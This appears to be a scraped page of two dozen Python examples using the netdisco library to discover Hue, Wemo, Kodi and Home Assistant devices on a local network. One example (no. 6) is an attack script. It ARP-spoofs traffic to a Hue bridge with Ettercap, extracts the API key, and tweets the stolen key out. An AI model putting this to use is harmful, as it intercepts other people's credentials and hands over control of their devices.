Exemplo n.º 1
0
def discover():
    hue_bridges = []

    LOG.info('Searching for Hue devices...')

    netdis = NetworkDiscovery()
    netdis.scan()

    for dev in netdis.discover():
        for info in netdis.get_info(dev):
            if 'name' in info and 'Philips hue' in info['name']:
                hue_bridges.append(info)
                LOG.info('Hue bridge found: %s', info['host'])

    netdis.stop()

    if len(hue_bridges) == 1:
        return hue_bridges[0]['host']

    if len(hue_bridges) == 2:
        LOG.warning('More than one Hue bridge found.')
    elif not hue_bridges:
        LOG.warning('No Hue bridges found.')

    return None
Exemplo n.º 2
0
def search_upnp_services():
    netdis = NetworkDiscovery()

    netdis.scan()

    for dev in netdis.discover():
        print(dev, netdis.get_info(dev))

    netdis.stop()
Exemplo n.º 3
0
def cli(ctx: Configuration, raw):
    """Discovery for the local network."""
    from netdisco.discovery import NetworkDiscovery

    click.echo("Running discovery on network (might take a while)...")
    netdiscovery = NetworkDiscovery()
    netdiscovery.scan()

    for device in netdiscovery.discover():
        info = netdiscovery.get_info(device)
        click.echo("{}:\n{}".format(device, format_output(ctx, info)))

    if raw:
        click.echo("Raw data:")
        netdiscovery.print_raw_data()

    netdiscovery.stop()
Exemplo n.º 4
0
def async_setup(hass, config):
    """Start a discovery service."""
    from netdisco.discovery import NetworkDiscovery

    logger = logging.getLogger(__name__)
    netdisco = NetworkDiscovery()
    already_discovered = set()

    # Disable zeroconf logging, it spams
    logging.getLogger('zeroconf').setLevel(logging.CRITICAL)

    # Platforms ignore by config
    ignored_platforms = config[DOMAIN][CONF_IGNORE]

    @asyncio.coroutine
    def new_service_found(service, info):
        """Called when a new service is found."""
        if service in ignored_platforms:
            logger.info("Ignoring service: %s %s", service, info)
            return

        comp_plat = SERVICE_HANDLERS.get(service)

        # We do not know how to handle this service.
        if not comp_plat:
            return

        discovery_hash = json.dumps([service, info], sort_keys=True)
        if discovery_hash in already_discovered:
            return

        already_discovered.add(discovery_hash)

        logger.info("Found new service: %s %s", service, info)

        component, platform = comp_plat

        if platform is None:
            yield from async_discover(hass, service, info, component, config)
        else:
            yield from async_load_platform(
                hass, component, platform, info, config)

    @asyncio.coroutine
    def scan_devices(_):
        """Scan for devices."""
        results = yield from hass.loop.run_in_executor(
            None, _discover, netdisco)

        for result in results:
            hass.async_add_job(new_service_found(*result))

        async_track_point_in_utc_time(hass, scan_devices,
                                      dt_util.utcnow() + SCAN_INTERVAL)

    hass.bus.async_listen_once(EVENT_HOMEASSISTANT_START, scan_devices)

    return True
Exemplo n.º 5
0
    def __init__(self, targetDeviceName=None):
        try:
            self.netdis = NetworkDiscovery()
            self.netdis.scan()

            # Declare variables, not war.
            self.targetDeviceName = targetDeviceName
            self.targetDevice = {}

            print(
                'Scanning Network for Belkin Wemo Insight Target Device Name: {}'
                .format(self.targetDeviceName))
            self.discover()
            self.netdis.stop()

        except Exception as e:
            print('ERROR - {}'.format(e))
            sys.exit(1)
Exemplo n.º 6
0
def scan():
    # Set up variables we might use
    hue_ip = ""
    api_key = ""

    # We begin this attack by assuming that the chip has a WiFi connection to the network that the hue is on...
    # Our first step is discover the ip address of the hue bridge (controller device)

    # Run NUPnP GET request for Hue
    r = requests.get("https://www.meethue.com/api/nupnp")
    if "ipaddress" in r.text:
        hue_ip = find_between(r.text, 'internalipaddress":"', '"')
        keys.hue_ip = hue_ip
        print("Found hue bridge at " + hue_ip)

    # Use Slower UPnP lookup method if NUPnP fails.
    if hue_ip is "":
        print("NUPnP lookup failed. Trying UPnP search...")
        netdis = NetworkDiscovery()
        netdis.scan()

        for dev in netdis.discover():
            if "hue" in dev:
                hue_ip = find_between(netdis.get_info(dev)[0][0], "(", ")")
                keys.hue_ip = hue_ip
                print("Found hue bridge at " + hue_ip)

        netdis.stop()

    # Exit if hue bridge IP is still not found
    if hue_ip is "":
        print("No hue device found on the network. Better luck next time!")
        keys.hue_scanner_running = False
        twitterSender.sendmessage("Sorry! I didn't find any skittles :(")
        return

    # If a bridge is found, our next step is to intercept any data being send to it...
    print("\nNow the stakeout begins!")
    print("Starting Ettercap to collect all data sent to " + hue_ip)
    args = shlex.split('ettercap  -T -M ARP -e "api/" /// //'+hue_ip+'/80')
    while api_key is "":
        ettercap = subprocess.Popen(args, stdout=subprocess.PIPE)
        time.sleep(20)
        ettercap.terminate()
        capoutput = str(ettercap.communicate()[0], 'utf-8')
        capoutput = capoutput.replace('/api/nouser', '')  # we don't want to hit on this api key so we strip it out
        if 'api/' in capoutput:
            api_key="gotit"
            # print(capoutput) --if enabled, prints packet output to console when the api key is found
            api_key = find_between(capoutput, "api/", "/")
            api_key = api_key.partition(' ')[0]
            keys.hue_api = api_key
            twitterSender.sendmessage("Hey! I got you some skittles! :)" + keys.hue_api + " " + keys.hue_ip)
            keys.hue_scanner_running = False
Exemplo n.º 7
0
def search_upnp_services():
	netdis = NetworkDiscovery()

	netdis.scan()

	for dev in netdis.discover():
	    print(dev, netdis.get_info(dev))

	netdis.stop()
Exemplo n.º 8
0
def cli(ctx):
    """Discovery for the local network."""
    from netdisco.discovery import NetworkDiscovery

    netdiscovery = NetworkDiscovery()
    netdiscovery.scan()

    for device in netdiscovery.discover():
        print(device, netdiscovery.get_info(device))

    netdiscovery.stop()

    ctx.vlog('Discovery executed: %s', timestamp())
Exemplo n.º 9
0
def main():
    """ Handle command line execution. """
    netdisco = NetworkDiscovery()

    netdisco.scan()

    # Pass in command line argument dump to get the raw data
    if sys.argv[-1] == 'dump':
        netdisco.print_raw_data()
        print()
        print()

    print("Discovered devices:")
    count = 0
    for dev in netdisco.discover():
        count += 1
        print(dev, netdisco.get_info(dev))
    print()
    print("Discovered {} devices".format(count))

    netdisco.stop()
Exemplo n.º 10
0
def discover() -> List[str]:
    try:
        from netdisco.discovery import NetworkDiscovery
        netdis = NetworkDiscovery()
        netdis.scan()
        results: List[str] = []
        for dev in netdis.discover():
            if dev in ('philips_tv', 'DLNA'):
                info = netdis.get_info(dev)
                logger.info("Discovered %s %s", dev, info)
                results.extend([dev['host'] for dev in info])
        netdis.stop()
        return results
    except ImportError:
        return []
Exemplo n.º 11
0
def main():
    """ Handle command line execution. """
    netdisco = NetworkDiscovery()

    netdisco.scan()

    # Pass in command line argument dump to get the raw data
    if sys.argv[-1] == 'dump':
        netdisco.print_raw_data()
        print()
        print()

    print("Discovered devices:")
    count = 0
    for dev in netdisco.discover():
        count += 1
        print(dev, netdisco.get_info(dev))
    print()
    print("Discovered {} devices".format(count))

    netdisco.stop()
Exemplo n.º 12
0
class uPnPDiscovery:
    def __init__(self, targetDeviceName=None):
        try:
            self.netdis = NetworkDiscovery()
            self.netdis.scan()

            # Declare variables, not war.
            self.targetDeviceName = targetDeviceName
            self.targetDevice = {}

            print(
                'Scanning Network for Belkin Wemo Insight Target Device Name: {}'
                .format(self.targetDeviceName))
            self.discover()
            self.netdis.stop()

        except Exception as e:
            print('ERROR - {}'.format(e))
            sys.exit(1)

    def getTargetDevice(self):
        return (self.targetDevice)

    def discover(self):
        try:
            for device in self.netdis.discover():
                #print(dev, netdis.get_info(dev)) # Debugging
                if device == "belkin_wemo":  # Discover Belkin Wemo devices
                    for element in self.netdis.get_info(device):
                        if element[
                                'model_name'] == "Insight":  # Check it's a Wemo Insight model.
                            if element[
                                    'name'] == self.targetDeviceName:  # Check it matches our target name.
                                # Update empty dictionary with our discovered device.
                                self.targetDevice['ip'] = element['host']
                                self.targetDevice['port'] = element['port']
                                print(
                                    'Found Belkin Wemo Insight Device matching Target Name: {}, IP: {}, Port: {}'
                                    .format(element['name'], element['host'],
                                            element['port']))
                            else:
                                print(
                                    'Found Belkin Wemo Insight Device Name: {}, but did not match Target Name: {}. Skipping.'
                                    .format(element['name'],
                                            self.targetDeviceName))
                                pass

        except Exception as e:
            print('ERROR - {}'.format(e))
            sys.exit(1)
Exemplo n.º 13
0
class KodiDiscovery(Node):
    """ Node that discovers Kodi instances on the network. """

    def __init__(self, *args, **kwargs):
        super(KodiDiscovery, self).__init__(*args, **kwargs)
        self._netdisco = NetworkDiscovery()

    def discover(self, **_):
        """ Discover Kodi on Network """
        dlna_clients = self._netdisco.get_info('DLNA')

        for client in dlna_clients:
            try:
                response = requests.get(client)

            except requests.exceptions.ConnectionError:
                self.parent.poly.send_error(
                    'Error fetching DLNA data for: {}'.format(client))
                continue

            try:
                dlna_info = xmltodict.parse(response.text)
            except xml.parsers.expat.ExpatError:
                self.parent.poly.send_error(
                    'Error parsing DLNA data for: {}'.format(client))
                continue

            if dlna_info['root']['device']['modelName'] in ['Kodi', 'XBMC']:
                addr = dlna_info['root']['device']['presentationURL']
                udn = dlna_info['root']['device']['UDN']
                name = dlna_info['root']['device']['friendlyName']
                name = re.sub('[^A-Za-z0-9 ]+', '', name)
                self.parent.found_kodi(addr, udn, name)

        return True

    _commands = {"NETDISCO": discover}
    node_def_id = 'KODIDISCO'
Exemplo n.º 14
0
    def _run_netdisco(self):

        netdis = NetworkDiscovery()
        netdis.scan()

        for device_type in netdis.discover():
            device_info = netdis.get_info(device_type)[0]
            device_ip = device_info['host']
            device_info['device_type'] = device_type

            # Find MAC based on IP
            try:
                with self._host_state.lock:
                    device_mac = self._host_state.ip_mac_dict[device_ip]
            except KeyError:
                continue

            # Get device_id based on MAC
            device_id = utils.get_device_id(device_mac, self._host_state)

            # Submit for upload lter
            with self._host_state.lock:
                self._host_state.pending_netdisco_dict \
                    .setdefault(device_id, []).append(device_info)
Exemplo n.º 15
0
async def async_setup(hass, config):
    """Start a discovery service."""

    logger = logging.getLogger(__name__)
    netdisco = NetworkDiscovery()
    already_discovered = set()

    if DOMAIN in config:
        # Platforms ignore by config
        ignored_platforms = config[DOMAIN][CONF_IGNORE]

        # Optional platforms enabled by config
        enabled_platforms = config[DOMAIN][CONF_ENABLE]
    else:
        ignored_platforms = []
        enabled_platforms = []

    for platform in enabled_platforms:
        if platform in DEFAULT_ENABLED:
            logger.warning(
                "Please remove %s from your discovery.enable configuration "
                "as it is now enabled by default",
                platform,
            )

    zeroconf_instance = await zeroconf.async_get_instance(hass)
    # Do not scan for types that have already been converted
    # as it will generate excess network traffic for questions
    # the zeroconf instance already knows the answers
    zeroconf_types = list(await async_get_zeroconf(hass))

    async def new_service_found(service, info):
        """Handle a new service if one is found."""
        if service in MIGRATED_SERVICE_HANDLERS:
            return

        if service in ignored_platforms:
            logger.info("Ignoring service: %s %s", service, info)
            return

        discovery_hash = json.dumps([service, info], sort_keys=True)
        if discovery_hash in already_discovered:
            logger.debug("Already discovered service %s %s.", service, info)
            return

        already_discovered.add(discovery_hash)

        if service in CONFIG_ENTRY_HANDLERS:
            await hass.config_entries.flow.async_init(
                CONFIG_ENTRY_HANDLERS[service],
                context={"source": config_entries.SOURCE_DISCOVERY},
                data=info,
            )
            return

        service_details = SERVICE_HANDLERS.get(service)

        if not service_details and service in enabled_platforms:
            service_details = OPTIONAL_SERVICE_HANDLERS[service]

        # We do not know how to handle this service.
        if not service_details:
            logger.debug("Unknown service discovered: %s %s", service, info)
            return

        logger.info("Found new service: %s %s", service, info)

        if service_details.platform is None:
            await async_discover(hass, service, info,
                                 service_details.component, config)
        else:
            await async_load_platform(hass, service_details.component,
                                      service_details.platform, info, config)

    async def scan_devices(now):
        """Scan for devices."""
        try:
            results = await hass.async_add_executor_job(
                _discover, netdisco, zeroconf_instance, zeroconf_types)

            for result in results:
                hass.async_create_task(new_service_found(*result))
        except OSError:
            logger.error("Network is unreachable")

        async_track_point_in_utc_time(hass, scan_devices,
                                      dt_util.utcnow() + SCAN_INTERVAL)

    @callback
    def schedule_first(event):
        """Schedule the first discovery when Home Assistant starts up."""
        async_track_point_in_utc_time(hass, scan_devices, dt_util.utcnow())

    hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STARTED, schedule_first)

    return True
Exemplo n.º 16
0
async def async_setup(hass, config):
    """Start a discovery service."""
    from netdisco.discovery import NetworkDiscovery

    logger = logging.getLogger(__name__)
    netdisco = NetworkDiscovery()
    already_discovered = set()

    # Disable zeroconf logging, it spams
    logging.getLogger('zeroconf').setLevel(logging.CRITICAL)

    # Platforms ignore by config
    ignored_platforms = config[DOMAIN][CONF_IGNORE]

    # Optional platforms enabled by config
    enabled_platforms = config[DOMAIN][CONF_ENABLE]

    async def new_service_found(service, info):
        """Handle a new service if one is found."""
        if service in ignored_platforms:
            logger.info("Ignoring service: %s %s", service, info)
            return

        discovery_hash = json.dumps([service, info], sort_keys=True)
        if discovery_hash in already_discovered:
            return

        already_discovered.add(discovery_hash)

        if service in CONFIG_ENTRY_HANDLERS:
            await hass.config_entries.flow.async_init(
                CONFIG_ENTRY_HANDLERS[service],
                context={'source': config_entries.SOURCE_DISCOVERY},
                data=info
            )
            return

        comp_plat = SERVICE_HANDLERS.get(service)

        if not comp_plat and service in enabled_platforms:
            comp_plat = OPTIONAL_SERVICE_HANDLERS[service]

        # We do not know how to handle this service.
        if not comp_plat:
            logger.info("Unknown service discovered: %s %s", service, info)
            return

        logger.info("Found new service: %s %s", service, info)

        component, platform = comp_plat

        if platform is None:
            await async_discover(hass, service, info, component, config)
        else:
            await async_load_platform(
                hass, component, platform, info, config)

    async def scan_devices(now):
        """Scan for devices."""
        results = await hass.async_add_job(_discover, netdisco)

        for result in results:
            hass.async_add_job(new_service_found(*result))

        async_track_point_in_utc_time(hass, scan_devices,
                                      dt_util.utcnow() + SCAN_INTERVAL)

    @callback
    def schedule_first(event):
        """Schedule the first discovery when Home Assistant starts up."""
        async_track_point_in_utc_time(hass, scan_devices, dt_util.utcnow())

        # discovery local services
        if 'HASSIO' in os.environ:
            hass.async_add_job(new_service_found(SERVICE_HASSIO, {}))

    hass.bus.async_listen_once(EVENT_HOMEASSISTANT_START, schedule_first)

    return True
Exemplo n.º 17
0
import time

from netdisco.discovery import NetworkDiscovery
from netdisco.ssdp import SSDP

netdis = NetworkDiscovery()
netdis.scan()
time.sleep(45)
for dev in netdis.discover():
    print
    dev, netdis.get_info(dev)

netdis.print_raw_data()
netdis.stop()
tt = SSDP()
pp = tt.scan(timeout=60)
print
pp
"""
import miniupnpc
import socket
import BaseHTTPServer

def list_redirections():
	i = 0
	while True:
		p = u.getgenericportmapping(i)
		if p == None:
			break
		print i, p
		i=i+1
Exemplo n.º 18
0
 def __init__(self, *args, **kwargs):
     super(KodiDiscovery, self).__init__(*args, **kwargs)
     self._netdisco = NetworkDiscovery()
Exemplo n.º 19
0
from netdisco.discovery import NetworkDiscovery
import json

netdis = NetworkDiscovery()

VERSION = 1

print(json.dumps({'version': VERSION}))

netdis.scan()

for dev in netdis.discover():
    print(json.dumps({'device': dev, 'info': netdis.get_info(dev)}))

netdis.stop()
Exemplo n.º 20
0
# Cast stop
cast_stop_parser = subparsers.add_parser('cast-stop',
                                         help='stop casting desktop to client')

# List Clients
list_clients_parser = subparsers.add_parser('list-clients',
                                            help='list all available clients')

args = parser.parse_args()

if args.command == "cast-stop":
    subprocess.Popen("killall vlc", shell=True)
    sys.exit()

if args.command == "list-clients":
    netdis = NetworkDiscovery()
    netdis.scan()
    for dev in netdis.discover():
        client_name = dev
        client_ip = re.search(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}',
                              str(netdis.get_info(dev))).group()
        print(dev + ":" + client_ip)
    netdis.stop()
    print("LivingRoom:192.168.0.15")
    print("Balcony:192.168.0.18")
    sys.exit()

AUDIO_SETTINGS = " --no-video --no-sout-video" if args.audio_only else ""

SOUND_DEVICE_SETTINGS = " --input-slave=pulse://" + \
    subprocess.getoutput(
Exemplo n.º 21
0
import time
from netdisco.discovery import NetworkDiscovery

netdis = NetworkDiscovery()

netdis.scan()

for dev in netdis.discover():
    print(dev, netdis.get_info(dev))

print(netdis.discover())

netdis.stop()
Exemplo n.º 22
0
from __future__ import print_function
import sys

from netdisco.discovery import NetworkDiscovery

nd = NetworkDiscovery()

nd.scan()

# Pass in command line argument dump to get the raw data
if sys.argv[-1] == 'dump':
    nd.print_raw_data()
    print()
    print()

print("Discovered devices:")
count = 0
for dev in nd.discover():
    count += 1
    print(dev, nd.get_info(dev))
print()
print("Discovered {} devices".format(count))

nd.stop()
Exemplo n.º 23
0
async def async_setup(opp, config):
    """Start a discovery service."""

    logger = logging.getLogger(__name__)
    netdisco = NetworkDiscovery()
    already_discovered = set()

    # Disable zeroconf logging, it spams
    logging.getLogger("zeroconf").setLevel(logging.CRITICAL)

    if DOMAIN in config:
        # Platforms ignore by config
        ignored_platforms = config[DOMAIN][CONF_IGNORE]

        # Optional platforms enabled by config
        enabled_platforms = config[DOMAIN][CONF_ENABLE]
    else:
        ignored_platforms = []
        enabled_platforms = []

    for platform in enabled_platforms:
        if platform in DEFAULT_ENABLED:
            logger.warning(
                "Please remove %s from your discovery.enable configuration "
                "as it is now enabled by default",
                platform,
            )

    async def new_service_found(service, info):
        """Handle a new service if one is found."""
        if service in MIGRATED_SERVICE_HANDLERS:
            return

        if service in ignored_platforms:
            logger.info("Ignoring service: %s %s", service, info)
            return

        discovery_hash = json.dumps([service, info], sort_keys=True)
        if discovery_hash in already_discovered:
            logger.debug("Already discovered service %s %s.", service, info)
            return

        already_discovered.add(discovery_hash)

        if service in CONFIG_ENTRY_HANDLERS:
            await opp.config_entries.flow.async_init(
                CONFIG_ENTRY_HANDLERS[service],
                context={"source": config_entries.SOURCE_DISCOVERY},
                data=info,
            )
            return

        comp_plat = SERVICE_HANDLERS.get(service)

        if not comp_plat and service in enabled_platforms:
            comp_plat = OPTIONAL_SERVICE_HANDLERS[service]

        # We do not know how to handle this service.
        if not comp_plat:
            logger.info("Unknown service discovered: %s %s", service, info)
            return

        logger.info("Found new service: %s %s", service, info)

        component, platform = comp_plat

        if platform is None:
            await async_discover(opp, service, info, component, config)
        else:
            await async_load_platform(opp, component, platform, info, config)

    async def scan_devices(now):
        """Scan for devices."""
        try:
            results = await opp.async_add_job(_discover, netdisco)

            for result in results:
                opp.async_create_task(new_service_found(*result))
        except OSError:
            logger.error("Network is unreachable")

        async_track_point_in_utc_time(
            opp, scan_devices, dt_util.utcnow() + SCAN_INTERVAL
        )

    @callback
    def schedule_first(event):
        """Schedule the first discovery when Open Peer Power starts up."""
        async_track_point_in_utc_time(opp, scan_devices, dt_util.utcnow())

    opp.bus.async_listen_once(EVENT_OPENPEERPOWER_START, schedule_first)

    return True
Exemplo n.º 24
0
import time
from netdisco.discovery import NetworkDiscovery

netdis = NetworkDiscovery()

netdis.scan()

for dev in netdis.discover():
    print(dev, netdis.get_info(dev))

netdis.stop()